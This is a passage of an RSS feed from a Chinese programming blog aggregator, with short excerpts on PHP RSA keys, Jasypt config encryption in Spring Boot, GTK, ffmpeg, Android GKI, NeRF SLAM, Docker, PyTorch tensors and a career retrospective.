      <link>https://bchobby.github.io/posts/6e8525ab3e8a729a2369d70d0669a9bf/</link>
      <pubDate>Tue, 02 Jan 2024 00:28:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e8525ab3e8a729a2369d70d0669a9bf/</guid>
      <description>1.php RSA生成公私钥&#xA;// 生成密钥对 $config = array( &#34;digest_alg&#34; =&amp;gt; &#34;sha256&#34;, // 加密算法 &#34;private_key_bits&#34; =&amp;gt; 2048, // 密钥长度（位数） ); // 创建并保存私钥到文件 $res = openssl_pkey_new($config); if (!file_put_contents(&#39;private.key&#39;, $res)) { die(&#34;无法将私钥写入文件&#34;); } // 获取公钥 $pubKey = openssl_pkey_get_details($res)[&#39;key&#39;]; if (empty($pubKey)) { die(&#34;无法从私钥中提取公钥&#34;); } echo &#39;私钥内容：&#39; . PHP_EOL; var_dump($res); echo &#39;公钥内容：&#39; . PHP_EOL; var_dump($pubKey); 2.公钥用于对数据进行加密，私钥用于对数据进行解密；&#xA;私钥用于对数据进行签名，公钥用于对签名进行验证。&#xA;class Rsa { /** * private key */ private $_privKey; /** * public key */ private $_pubKey; /** * the keys saving path */ private $_keyPath; public function __construct ($path) { if (empty($path) || !</description>
    </item>
    <item>
      <title>LCD1602</title>
      <link>https://bchobby.github.io/posts/70c0557c16bac2fe75c0202640fb3c89/</link>
      <pubDate>Tue, 02 Jan 2024 00:24:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70c0557c16bac2fe75c0202640fb3c89/</guid>
      <description>这个不是串行的，这个是并行的。&#xA;有以下的要点：&#xA;（1）设置光标的时候，非常有讲究，A6是y左边，后面的A3-A0是X的坐标，中间的就默认为0就好了。&#xA;（2）记得每次写命令和数据的时候，检查一下忙状态，所谓的忙状态就是一种锁。&#xA;（3）传输数据的时候，直接赋值过去就好了。</description>
    </item>
    <item>
      <title>分布式系统架构设计之分布式数据存储的安全隐私和性能优化</title>
      <link>https://bchobby.github.io/posts/5135bbfa1414f6bfebc4c136e7799f4a/</link>
      <pubDate>Tue, 02 Jan 2024 00:09:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5135bbfa1414f6bfebc4c136e7799f4a/</guid>
      <description>五、安全性和隐私 在前面分布式系统部分，有对安全性做过介绍，如前面所述，在分布式系统中，确保系统的安全性和隐私是至关重要的。安全性关注系统的防护措施，而隐私是关注用户的个人信息保护。&#xA;安全性 身份认证：确保用户和系统组件的身份是合法的，通过通过密码、令牌或证书实现授权：确保用户只能访问其被授权的资源，通过访问控制列表（ACL）或角色基础访问控制（RBAC）实现加密：保护数据在传输和存储中的安全，使用加密算法对数据进行加密和解密防火墙和入侵检测系统：用于监测和防御未经授权的访问和攻击安全审计：记录和分析系统中的安全事件，以便检测潜在的威胁 隐私 数据脱敏：在系统中对敏感数据进行脱敏处理，以减少对用户隐私的侵犯隐私政策和合规性：明确系统对用户数据的处理方式，遵循相关法规和隐私政策匿名化和伪装：对用户身份信息进行匿名化处理，以保护用户的真实身份访问控制和权限管理：限制对用户隐私数据的访问，确保只有授权人员能够获取敏感信息数据加密：对存储和传输的隐私数据进行加密，降低数据泄露的风险 挑战 新型威胁：随着技术的发展，新型网络攻击和安全威胁不断呈现，需要不断升级安全防护手段合规性要求：不同地区和行业可能有不同的隐私法规和合规性要求，系统需要适应不同的法规标准用户体验：在提供足够安全性的同时，要保证用户的操作和体验不受过多的影响 以上是在分布式系统数据存储设计的过程中要考虑的安全性和隐私的基本概念和常见实践。设计和实现一个安全可靠的数据存储系统需要架构师综合考虑各个方面，以应对不同类型的威胁和保障用户的隐私权益。&#xA;六、性能优化 在分布式系统中，对于数据存储的性能优化至关重要，它直接影响到系统的吞吐量、响应时间和可伸缩性。以下是一些针对分布式数据存储的性能优化策略：&#xA;数据分片和分区 为了提升分布式数据存储的性能，通常会选择将数据按照一定的规则分割成多个分片和分区，提高并行处理能力。&#xA;在采用这个策略的时候，要注意合理选择分片键，避免热点数据集中在某个分片，对分片的分布策略需要架构师重点关注。&#xA;读写分离 在一些复杂的分布式系统中，读写分离也是一个常规化的性能优化策略。就是把系统对数据库的读写操作分别路由到不同的节点上，来降低单节点的负担。&#xA;一般正常操作是在分布式数据库中设置主从节点，读操作从从节点走，以此降低主节点的读压力。&#xA;在现在云原生的技术体系下，读写分离相对容易的多，云产品自带的功能，比如阿里云的 Polar DB、PolarX DB 等。&#xA;缓存策略 在一些高并发或者数据库负载很高的场景下，通常会使用应用层增加缓存来减轻对数据存储的压力。一般使用分布式缓存组件，如 Redis、Memcached，但架构师要关注如何设置合理的缓存失效策略，避免缓存穿透等问题。&#xA;异步处理 在系统中如果存在大耗时的数据处理任务，通常会把这些耗时的数据处理流程进行异步化处理，来提升系统的响应速度。&#xA;通常会采用消息队列的模式将数据处理异步话，解耦数据写入和处理流程。&#xA;索引优化 在使用关系型数据库的时候，务必一定要关注索引的合理设计和使用，以此提升查询效率。&#xA;在过程中，架构师或者 DBA 要时刻关注数据库情况，定期分析查询语句，及时优化索引结构，避免全表扫描。&#xA;并发控制 数据存储设计完成后，在应用层面，架构师还需要关注对数存储的有效并发控制机制的设计，避免在数据交互过程中出现数据竞争和死锁现象。&#xA;可以考虑采用乐观锁、悲观锁等并发控制策略，减小锁粒度，但一定要根据具体的业务场景来做决策判断，采取对应的策略。&#xA;负载均衡 基于分布式数据存储的设计，一定要关注数据请求的负载均衡，要将请求尽可能均匀分发到各个节点，防止不均衡带来单一节点过载，出现雪崩。&#xA;数据压缩 如果在数据交互的过程中，针对大数据体的场景，可以使用数据压缩技术，减小网络传输开销。但在压缩算法的选择上，务必根据具体的业务场景来做判断和选择。&#xA;当然，在现在纷繁复杂的分布式系统中，涉及到分布式数据存储性能优化还有很多除了以上策略以外的策略，无法穷举，我仅针对常用策略进行了介绍，希望可以帮助到你。</description>
    </item>
    <item>
      <title>灸哥问答：软件架构在软件研发中的作用</title>
      <link>https://bchobby.github.io/posts/d022315e18e849a25f62fb55c219354e/</link>
      <pubDate>Tue, 02 Jan 2024 00:09:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d022315e18e849a25f62fb55c219354e/</guid>
      <description>软件架构在软件开发中扮演着至关重要的角色。我们在软件研发的过程中，类比于建造一座公寓楼，而软件架构就像是盖楼之前的设计图纸，如果没有设计图纸就直接盖楼，可想而知带来的后果是什么。我对软件架构的作用表现总结如下：&#xA;1、 提供高层次的设计 软件架构为整个软件系统提供了一个高层次、抽象的设计，定义了系统的主要组件、它们之间的交互方式以及通信协议。这为开发团队提供了一个清晰的蓝图，有助于确保团队成员对系统整体设计有共同的理解。&#xA;2、 支持系统的非功能需求 软件架构不仅关注系统的功能需求，还关注非功能需求，如性能、安全性、可扩展性和可维护性。通过选择合适的架构模式和技术栈，可以确保系统满足这些非功能需求，从而提高系统的整体质量。&#xA;3、 促进模块化和复用 软件架构鼓励将系统划分为独立的、可复用的模块。这种模块化设计可以降低系统的复杂性，使得开发人员可以更加专注于自己的模块，提高开发效率。同时，模块化设计也有助于实现代码复用，减少重复工作，从而降低成本。&#xA;4、 简化系统演化 随着业务需求的变化和技术的发展，软件系统需要不断地进行更新和改进。一个良好的软件架构可以简化系统的演化过程，使得系统能够更容易地适应新的需求和变化。此外，架构的灵活性也有助于降低系统演化的成本和风险。&#xA;5、 提高系统的可维护性 软件架构对于提高系统的可维护性至关重要。一个清晰的、结构化的架构可以使得维护人员更容易理解系统的工作原理，从而更快地定位和修复问题。此外，良好的架构还可以降低系统的耦合度，减少修改一个部分时对其他部分的影响，进一步降低维护成本。&#xA;总之，软件架构在软件开发中发挥着核心作用，它影响着系统的设计、开发、测试、部署和维护等各个阶段。一个优秀的软件架构可以显著提高软件系统的质量、降低开发成本并减少维护负担。</description>
    </item>
    <item>
      <title>PythonStudio=vb7国人写的python可视化窗体设计器IDE，可以替代pyqt designer等设计器了</title>
      <link>https://bchobby.github.io/posts/2f0bd319aab88124a4e00ef46d1793fd/</link>
      <pubDate>Tue, 02 Jan 2024 00:03:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f0bd319aab88124a4e00ef46d1793fd/</guid>
      <description>【免费】PythonStudio-1.1.5-x86最新版国人开发的python界面ide，可以制作窗体资源-CSDN文库&#xA;https://download.csdn.net/download/xiaoyao961/88688447&#xA;【免费】PythonStudio-1.1.5-x64-Setup.exe国人开发的python界面ide，可以制作窗体资源-CSDN文库&#xA;https://download.csdn.net/download/xiaoyao961/88688446本款软件只有十几兆，功能算是强大的，国人写的，很不错的python界面python界面IDE.顶部有下载链接。下面有网盘下载链接，或者从官网直接下载。&#xA;目前产品免费，以后估计会有收费版本。主页链接：PythonStudio-硅量实验室&#xA;作者还贴心的制作了视频教程，真贴心啊。 赠送官方视频教程 视频链接：https://pan.baidu.com/s/18uBqslsPXkNmsv54d72uTQ&#xA;提取码：1111&#xA;IDE链接：https://pan.baidu.com/s/1PF9tYsU4cYHwfpeTBI0Q4Q&#xA;提取码：1111&#xA;使用本款IDE生成的exe文件，大小为十几兆，使用的是delphivcl包，使用pyinstaller来打包。PythonStudio会自动下载缺失的依赖包。这一点太友好的，特别是对小白。&#xA;设计窗体的时候，可以双击按钮，它会自动生成按钮点击事件，然后填写相关的代码，类似vs窗体设计IDE的形式，比pyside等窗口代码分离友好多了。&#xA;不管怎么说，这个作者可谓诚意满满的。</description>
    </item>
    <item>
      <title>js 数组去重</title>
      <link>https://bchobby.github.io/posts/4d2dabc4f37654baf65d1f759010ddac/</link>
      <pubDate>Mon, 01 Jan 2024 23:57:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d2dabc4f37654baf65d1f759010ddac/</guid>
      <description>数组去重&#xA;1 Set const arr=[...new Set([1,2,2,3])] const arr=Array.from(new Set([1,2,2,3])) 2 Map const arr = [1, 1, 2, 2, 3, 4, 5]; const uniqueArray = [...new Map(arr.map(item =&amp;gt; [item, item])).values()]; 3 filter const arr = [1, 1, 2, 2, 3, 4, 5]; const uniqueArr = arr.filter((value, index, self) =&amp;gt; { return self.indexOf(value) === index; }); 4 reduce const arr = [1, 1, 2, 2, 3, 4, 5]; const uniqueArray = arr.</description>
    </item>
    <item>
      <title>Spring Boot 3 集成 Jasypt详解</title>
      <link>https://bchobby.github.io/posts/648710fe59dda66db599a58f5d9d0078/</link>
      <pubDate>Mon, 01 Jan 2024 23:46:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/648710fe59dda66db599a58f5d9d0078/</guid>
      <description>随着信息安全的日益受到重视，加密敏感数据在应用程序中变得越来越重要。Jasypt（Java Simplified Encryption）作为一个简化Java应用程序中数据加密的工具，为开发者提供了一种便捷而灵活的加密解决方案。本文将深入解析Jasypt的工作原理，以及如何在Spring Boot项目中集成和使用Jasypt来保护敏感信息。&#xA;Jasypt简介 Jasypt（Java Simplified Encryption）是一个专注于简化Java加密操作的工具。它提供了一种简单而强大的方式来处理数据的加密和解密，使开发者能够轻松地保护应用程序中的敏感信息，如数据库密码、API密钥等。&#xA;Jasypt的设计理念是简化加密操作，使其对开发者更加友好。它采用密码学强度的加密算法，支持多种加密算法，从而平衡了性能和安全性。其中，Jasypt的核心思想之一是基于密码的加密（Password Based Encryption，PBE），通过用户提供的密码生成加密密钥，然后使用该密钥对数据进行加密和解密。&#xA;该工具还引入了盐（Salt）的概念，通过添加随机生成的盐值，提高了加密的安全性，防止相同的原始数据在不同的加密过程中产生相同的结果，有效抵御彩虹表攻击。&#xA;Jasypt与Spring Boot天然契合，可以轻松集成到Spring Boot项目中，为开发者提供了更便捷的数据安全解决方案。通过Jasypt，开发者可以在不深入了解底层加密算法的情况下，轻松实现数据的安全保护，使得应用程序更加可靠和安全。&#xA;官网地址： http://www.jasypt.org/&#xA;github地址： https://github.com/ulisesbocchio/jasypt-spring-boot&#xA;Spring Boot 3 集成 Jasypt 添加依赖 在pom文件中添加一下依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.ulisesbocchio&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jasypt-spring-boot&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.0.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 添加配置文件 未指定前后缀的话默认格式ENC()括号里面是加密后的密文 然后实现自动解密&#xA;spring: # 数据源配置 datasource: type: com.alibaba.druid.pool.DruidDataSource driver-class-name: com.mysql.cj.jdbc.Driver url: jdbc:mysql://192.168.10.106:3306/xj_doc?characterEncoding=utf8&amp;amp;serverTimezone=Asia/Shanghai username: root password: ENC(BLC3UQBxshlcA9tnMyJL7w==) # 加密配置 jasypt: encryptor: # 指定加密密钥，生产环境请放到启动参数里面 password: 0f7b0a5d-46bc-40fd-b8ed-3181d21d644f # 指定解密算法，需要和加密时使用的算法一致 algorithm: PBEWithMD5AndDES iv-generator-classname: org.jasypt.iv.NoIvGenerator # property: # # 算法识别的前后缀，默认ENC()，包含在前后缀的加密信息，会使用指定算法解密 # prefix: ENC@[ # suffix: ] 启动类添加注解 在启动类上添加注解@EnableEncryptableProperties注解来开启自动解密</description>
    </item>
    <item>
      <title>【C语言】Windows上用GTK写GUI程序</title>
      <link>https://bchobby.github.io/posts/f476aaa0314fde42a5e27e0c45bfc2c0/</link>
      <pubDate>Mon, 01 Jan 2024 23:36:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f476aaa0314fde42a5e27e0c45bfc2c0/</guid>
      <description>要使用GTK开发一个Windows图形用户界面程序，需要首先设置GTK开发环境。这通常包括安装GTK库和它的依赖，以及配置编译器和工具链。可以选择使用纯C语言和GTK库或者使用支持GTK绑定的其他语言，如Python、C++或Rust。&#xA;1. 安装GTK开发库 在Windows上，这可以通过MSYS2这样的环境来完成。通过MSYS2安装GTK的步骤通常包括安装基础系统、更新包管理器、然后使用包管理器安装GTK。&#xA;可参考【C++】Windows编译FileZilla Client-CSDN博客&#xA;2. 创建一个新的C文件（例如gtk-test.c） 写下以下代码：&#xA;#include &amp;lt;gtk/gtk.h&amp;gt; static void print_hello(GtkWidget *widget, gpointer data) { g_print(&#34;Hello World\n&#34;); } static void activate(GtkApplication *app, gpointer user_data) { GtkWidget *window; GtkWidget *button; // 创建一个窗口 window = gtk_application_window_new(app); gtk_window_set_title(GTK_WINDOW(window), &#34;Window&#34;); gtk_window_set_default_size(GTK_WINDOW(window), 200, 200); // 创建一个按钮，绑定点击事件 button = gtk_button_new_with_label(&#34;Hello World&#34;); g_signal_connect(button, &#34;clicked&#34;, G_CALLBACK(print_hello), NULL); gtk_window_set_child(GTK_WINDOW(window), button); // 显示窗口和按钮 gtk_window_present(GTK_WINDOW(window)); } int main(int argc, char **argv) { GtkApplication *app; int status; // 创建一个GtkApplication实例 app = gtk_application_new(&#34;</description>
    </item>
    <item>
      <title>[ffmpeg系列 02] 音视频基本知识</title>
      <link>https://bchobby.github.io/posts/90a339808fcd7d26861d0410fdd31a0a/</link>
      <pubDate>Mon, 01 Jan 2024 23:31:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90a339808fcd7d26861d0410fdd31a0a/</guid>
      <description>一 视频 RGB：&#xA;AV_PIX_FMT_RGB24, ///&amp;lt; packed RGB 8:8:8, 24bpp, RGBRGB…&#xA;Y：明亮度, Luminance或luma, 灰阶图，&#xA;UV：色度，Chrominance或Chroma。&#xA;YCbCr: Cb蓝色分量，Cr是红色分量。&#xA;取值范围：0-256。&#xA;I420(yuv420p)：4:2:0, 宽高是4x4：YYYYYYYYYYYYYYYYUUUUVVVV。&#xA;YUV大小：宽*高*1.5，Y占大小：宽*高，U占大小：宽*高/4，UV一样大。&#xA;YUV拼接：&#xA;上下：&#xA;Y1…Y16Y1…Y16U1…U4U1…U4V1…V4V1…V4&#xA;左右：&#xA;Y1…Y4Y1…Y4(重复四个)U1U2U1U2(重复2个)V1V2V1V2(重复2个)&#xA;两种打包格式：&#xA;planar平面、packed。&#xA;AV_PIX_FMT_YUV420P, ///&amp;lt; planar YUV 4:2:0, 12bpp, (1 Cr &amp;amp; Cb sample per 2x2 Y samples)&#xA;data[0]–Y, data[1]–U, data[2]–V。&#xA;AV_PIX_FMT_YUYV422, ///&amp;lt; packed YUV 4:2:2, 16bpp, Y0 Cb Y1 Cr&#xA;data[0]–YYYYUUVV,&#xA;AV_PIX_FMT_NV12, ///&amp;lt; planar YUV 4:2:0, 12bpp, 1 plane for Y and 1 plane for the UV components,</description>
    </item>
    <item>
      <title>RK3568平台 Android13 GKI架构开发方式</title>
      <link>https://bchobby.github.io/posts/3a87d677e1f10fd62bc7d206510aa664/</link>
      <pubDate>Mon, 01 Jan 2024 23:29:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a87d677e1f10fd62bc7d206510aa664/</guid>
      <description>一.GKI简介 GKI：Generic Kernel Image 通用内核映像。&#xA;Android13 GMS和EDLA认证的一个难点是google强制要求要支持GKI。GKI通用内核映像，是google为了解决内核碎片化的问题，而设计的通过提供统一核心内核并将SoC和板级驱动从核心内核移至可加载模块中。核心内核为驱动模块提供了稳定的内核模块接口，模块驱动和核心内核可以独立进行更新。内核接口可以通过upstream的方式进行扩展。 Soc和板级厂商在驱动开发时需要使用已经定义的内核接口，如果要新加核心内核接口需要提交给google，这个周期会比较长，所以要提前做好开发准备。&#xA;二.什么产品需要使用GKI 使用Android13且需要过GMS认证和EDLA认证的产品。&#xA;使用Android12 的RK3588和RK3588S的需要过GMS认证和EDLA认证的产品。&#xA;不过GMS认证和EDLA认证的产品不强制要求使用GKI。&#xA;三.碎片化的代价 1.安全更新需要耗费大量人力:&#xA;Android 安全公告 (ASB) 中引用的安全补丁程序必须向后移植到每个设备内核中。但是，由于存在内核碎片化问题，向正常使用的 Android 设备传播安全修复的代价非常之高。&#xA;2.很难合并长期支持的更新:&#xA;长期支持 (LTS) 版本包含安全修复和其他重大问题修复。事实证明，使用最新的 LTS 版本是提供安全修复的最有效方式。我们发现，ASB 报告的内核安全问题中有 90% 都已在保持最新状态的 Pixel 设备上得到修复。&#xA;3.妨碍 Android 平台进行版本升级&#xA;由于碎片化问题，很难向正常使用的设备添加需要更改内核的 Android 新功能。Android 框架代码必须假设支持的内核版本多达 5 个，并且没有针对新的平台版本进行任何内核更改（Android 10 支持内核版本 3.18、4.4、4.9、4.14 和 4.19；在某些情况下，这些版本自 2017 年 Android 8 发布以来还未添加新功能）。&#xA;4.很难将内核更改贡献回上游 Linux&#xA;对内核进行完所有更改后，大多数旗舰设备附带的内核版本已经至少存在 18 个月了。例如，kernel.org 于 2017 年 11 月发布了 4.14 版内核，而首批使用 4.14 版内核的 Android 手机于 2019 年春季才发布。</description>
    </item>
    <item>
      <title>官方版本若依打印日志</title>
      <link>https://bchobby.github.io/posts/cc76f3ae1e4fdad4430d00607b7ff284/</link>
      <pubDate>Mon, 01 Jan 2024 22:46:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc76f3ae1e4fdad4430d00607b7ff284/</guid>
      <description> import org.slf4j.Logger; import org.slf4j.LoggerFactory; protected final Logger logger = LoggerFactory.getLogger(this.getClass()); logger.info(&#34;测试&#34;); </description>
    </item>
    <item>
      <title>学习笔记之——NeRF SLAM（基于神经辐射场的SLAM）</title>
      <link>https://bchobby.github.io/posts/49c4043c623375b748bae81c59526e9c/</link>
      <pubDate>Mon, 01 Jan 2024 22:39:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49c4043c623375b748bae81c59526e9c/</guid>
      <description>NeRF SLAM（Neural Radiance Fields Simultaneous Localization and Mapping）是一种结合神经辐射场（NeRF）和SLAM（Simultaneous Localization and Mapping）的先进技术，用于实时地构建三维环境地图并同时估计相机的姿态。目前NeRF-SLAM主要有以下两个方向：&#xA;SLAM为NeRF训练提供位姿，然后建立稠密细腻的三维场景。简而言之就是NeRF只做mapping在NeRF里建立各种损失函数反过来优化pose和depth。 简而言之就是full slam 那么基于这两个方向，目前的NeRF SLAM的工作主要分为以下三类：仅优化NeRF、仅优化位姿、位姿和NeRF联合优化。与此同时，本文也把最新的3D Gaussian Splatting也加入调研序列中。每个工作介绍的时候都会给出论文的下载链接、源代码（如有）、demo video（如有）&#xA;本博文，意在记录本人调研NeRF-SLAM的时候做的学习记录，部分资料来源于网络，本博文仅仅供本人学习记录用~&#xA;目录&#xA;什么是NeRF？&#xA;NeRF&#xA;仅优化NeRF&#xA;NeRF++&#xA;Instant-NGP&#xA;RO-MAP&#xA;vMAP&#xA;Point-NeRF&#xA;NeRF-SLAM SMERF&#xA;Nerfies&#xA;仅优化位姿&#xA;iNeRF&#xA;NeRF-Loc&#xA;Loc-NeRF&#xA;NeRF-VINS&#xA;位姿和NeRF联合优化&#xA;iMAP&#xA;BARF&#xA;NeRF--&#xA;NICE-SLAM&#xA;Vox-Fusion&#xA;NoPe-NeRF&#xA;RoDynRF&#xA;DIM-SLAM&#xA;Orbeez-SLAM&#xA;GO-SLAM&#xA;NICER-SLAM&#xA;Co-SLAM&#xA;雷达NeRF SLAM&#xA;LiDAR-NeRF&#xA;IR-MCL&#xA;NeRF-LOAM&#xA;LONER 3D Gaussian Splatting&#xA;参考文献&#xA;什么是NeRF？ NeRF 所做的任务是 Novel View Synthesis（新视角合成），即在若干已知视角下对场景进行一系列的观测（相机内外参、图像、Pose 等），合成任意新视角下的图像。传统方法中，通常这一任务采用三维重建再渲染的方式实现，NeRF 希望不进行显式的三维重建过程，仅根据内外参直接得到新视角渲染的图像。为了实现这一目的，NeRF 使用用神经网络作为一个 3D 场景的隐式表达，代替传统的点云、网格、体素、TSDF 等方式，通过这样的网络可以直接渲染任意角度任意位置的投影图像。</description>
    </item>
    <item>
      <title>张量操作与线性回归</title>
      <link>https://bchobby.github.io/posts/9156afa6f964722ac4bab6b6a6879867/</link>
      <pubDate>Mon, 01 Jan 2024 22:34:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9156afa6f964722ac4bab6b6a6879867/</guid>
      <description>一、张量的操作：拼接、切分、索引和变换 （1）张量拼接与切分 1.1 torch.cat() 功能：将张量按维度dim进行拼接&#xA;• tensors: 张量序列&#xA;• dim : 要拼接的维度&#xA;torch.cat(tensors, dim=0, out=None)函数用于沿着指定维度dim将多个张量拼接在一起。它接受一个张量列表tensors作为输入，并返回一个拼接后的张量。参数dim指定了拼接的维度，默认为0。&#xA;flag = True if flag: t = torch.ones((2, 3)) #创建一个形状为(2, 3)的全为1的张量t t_0 = torch.cat([t, t], dim=0) # 将张量t沿着dim=0的维度拼接两次，得到张量t_0 t_1 = torch.cat([t, t, t], dim=1)# 将张量t沿着dim=1的维度拼接三次，得到张量t_1 print(&#34;t_0:{} shape:{}\nt_1:{} shape:{}&#34;.format(t_0, t_0.shape, t_1, t_1.shape)) t_0:tensor([[1., 1., 1.], [1., 1., 1.], [1., 1., 1.], [1., 1., 1.]]) shape:torch.Size([4, 3]) t_1:tensor([[1., 1., 1., 1., 1., 1., 1., 1., 1.], [1.</description>
    </item>
    <item>
      <title>Docker</title>
      <link>https://bchobby.github.io/posts/c5fd214cdd0d2b3b4272e73b022ba5c2/</link>
      <pubDate>Mon, 01 Jan 2024 22:12:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5fd214cdd0d2b3b4272e73b022ba5c2/</guid>
      <description>项目部署问题： 大型项目组件较多，运行环境也较为复杂，部署时会碰到一些问题：&#xA;依赖关系复杂，容易出现兼容问题&#xA;开发、测试、生产环境有差异&#xA;Docker如何解决依赖的兼容问题？&#xA;将应用的Libs（函数库）、Deps（依赖）、配置与应用一起打包&#xA;将每个应用放到一个隔离容器去运行，避免互相干扰&#xA;Docker如何解决不同系统环境的问题？&#xA;Docker将用户程序与所需要调用的系统（比如Ubuntu）函数库一起打包&#xA;Docker运行到不同操作系统时，直接基于打包的库函数，借助于操作系统的Linux内核运行&#xA;Docker如何解决大型项目依赖关系复杂，不同组件依赖的兼容问题？&#xA;Docker允许开发中将应用、依赖、函数库、配置一起 打包，形成可移植镜像。&#xA;Docker应用运行在容器中，使用沙箱机制，相互 隔离&#xA;Docker如何解决开发、测试、生产环境有差异的问题&#xA;Docker镜像中包含完整运行环境，包括系统函数库，仅依赖系统的Linux内核，因此可以在任意Linux操作系统上运行&#xA;Docker与虚拟机 虚拟机是在操作系统中模拟硬件设备，然后运行另一个操作系统，比如在Windows系统里面运行Ubuntu系统，这样可以运行任意的Ubuntu应用了&#xA;特性Docker虚拟机性能接近原生性能较差硬盘占用一般为MB一般为GB启动秒级分钟级 镜像和容器 镜像（Image）：Docker将应用程序及其所需的依赖、函数库、环境、配置等文件打包在一起称为镜像。&#xA;容器（Container）：镜像中的应用程序运行后形成的进程就是 容器，只是Docker会给容器做隔离，对外不可见&#xA;Docker和DockerHub DockerHub：是一个Docker镜像的托管平台。这样的平台称之为Docker Registry&#xA;Docker架构 Docker是一个CS架构的程序，由两部分组成：&#xA;服务端：Docker守护进程，负责处理Docker指令，管理镜像、容器等&#xA;客户端：通过命令或者RestAPI向Docker服务端发送指令。可以在本地或远程向服务端发送指令。&#xA;镜像相关的命令 镜像一般分成两部分：[repository]:[tag].&#xA;没有指定tag时，默认时latest，代表最新版本镜像&#xA;CentOS拉取镜像步骤： 从DockerHub搜索镜像&#xA;根据镜像名称拉去想要的镜像&#xA;通过docker命令&#xA;docker images 查看镜像&#xA;容器相关命令 docker run 命令常见参数：&#xA;--name：指定容器名称&#xA;-p：指定端口映射&#xA;-d：让容器后台运行&#xA;-v：把数据卷挂载到某个容器目录&#xA;查看容器日志命令：&#xA;docker logs&#xA;添加 -f 参数可以持续查看日志&#xA;查看容器状态：&#xA;docker ps&#xA;数据卷 容器与数据耦合问题：&#xA;不便于修改&#xA;数据不可复用&#xA;升级维护困难&#xA;什么是数据卷： 是一个虚拟目录，指向宿主机文件系统中的某个目录。&#xA;操作数据卷 数据卷基础语法如下：&#xA;docker volume[COMMAND] docker volume 命令时数据卷操作，根据命令后跟随的command来确定下一步的操作：</description>
    </item>
    <item>
      <title>80后的技术职涯回顾2024</title>
      <link>https://bchobby.github.io/posts/88b93af6d8818ff479a3bcc4f41f2c88/</link>
      <pubDate>Mon, 01 Jan 2024 22:10:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88b93af6d8818ff479a3bcc4f41f2c88/</guid>
      <description>2023年，职业生涯已过半。&#xA;2000年，作为计算机专业的中专生，第一份工作是酒店的网管。工作之余考取了MCSE，MCDBA。&#xA;2003年，作为一个初创公司的第一名网络工程师，在全国各地运营商做项目实施。最后做到网络部门经理，因被卷入办公室政治，2015年被辞退。工作之余考取了PMP，ItileV3&#xA;2016年，在一家上市公司做APP项目经理。工作之余考取了ACP。&#xA;2017年，先后参与了大数据和人工智能的创业项目，都因资金链断了而终止。&#xA;2018年，加入了一个SaaS创业团队，作为CIO管理自研团队和外包团队。2022年公司财务违规被查，公司解散。工作之余考取了MCP，ItileV4。&#xA;2022年-2023年待业，主要工作就是接送孩子，期间找到过一个工作，是给人家里安装和维修宽带，做了6个月。目前正在参与国家开放大学的大专学历的远程学习。&#xA;如果把20岁到60岁作为职业生涯，大概就40年，我已经用掉了20多年。至于40岁到60岁，对于我自己，确实还需要认真的规划下这20年的职业生涯，但也许，社会或企业HR并不认为你还有什么所谓的职业生涯了。&#xA;回顾这段工作经历，还是有很多值得感恩的事情：&#xA;刚毕业时，第一个选择题是应聘程序员还是网络工程师。因为年轻，坐不住，想出去看看，所以锁定可以出差的工作，就选择了网络行业。最终也顺利成为了网络工程师，全国各地做项目。&#xA;当进入公司管理层团队时，恰好也是在准备组建自己家庭的时候。&#xA;后续就是不断尝试加入创业团队，最终在SaaS这个创业公司，最大化实现了自我价值。&#xA;其实对自己的期待，只是希望做一个工程师而已，遇到了一些机遇，后来做了项目经理和CIO，作为一个中专生，如果有梦想，也不过如此了。&#xA;反思这段经历，也有比较遗憾的事情，可供年轻人引以为戒：&#xA;以为工作经验和国际认证可以弥补学历的不足，学历是硬伤，很难被其它优势取代。&#xA;当项目结束后，一个新项目启动时，过往的人际关系也随着清零和重建，没有努力去经营人脉，做不到人脉的积累。&#xA;虽已没有展望未来的激情，但还是要有面对后半生挑战的勇气：&#xA;伴随健康，朋友，权利及财富的丧失，后半生会很快一贫如洗。青年时至少还有未来可以寻找自己的好运，至于后半生的好运，则像是等待对过往不幸的补偿。&#xA;前半生，通过责怪别人的过错，呵护了自己脆弱的自信。后半生要培养出面对不愉快或矛盾冲突的能力。为了解决问题，改变自己比改变别人更加简单和有效。&#xA;青年时受到物质的吸引并通过物质来解决自我怀疑和自尊心的问题。如果对物质的关注，偏爱和欲望视为前半生的美德，后半生对人性的深入考察，从专注于事情转为专注人情。&#xA;年轻时喜欢给自己贴上各种标签，后半生则应抛弃被标签化的人格与面具，同时容纳下许多冲突的自我，不再追求过度抽象的逻辑，不再用过度简单的方式解读人生百态和命运无常，认识到信念只是些想法而不是真理。&#xA;随着年龄的增长，个人能力不可避免地丧失，自我主义将成为一种自我挫败。利他主义不再是一种手段而是目的，自我牺牲在后半生不止是一种美德，更是一种需要。&#xA;摆脱了传统社会身份，分开社会责任和内在的自我，从社会认同转变为自我认同，对人格完整的寻求是后半生的主要挑战。&#xA;2024年，成长为自已本来的样子。</description>
    </item>
    <item>
      <title>性能优化（CPU优化技术）-ARM Neon详细介绍</title>
      <link>https://bchobby.github.io/posts/6a9aa92cb88cebf33f087bf4ae4f8192/</link>
      <pubDate>Mon, 01 Jan 2024 22:01:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a9aa92cb88cebf33f087bf4ae4f8192/</guid>
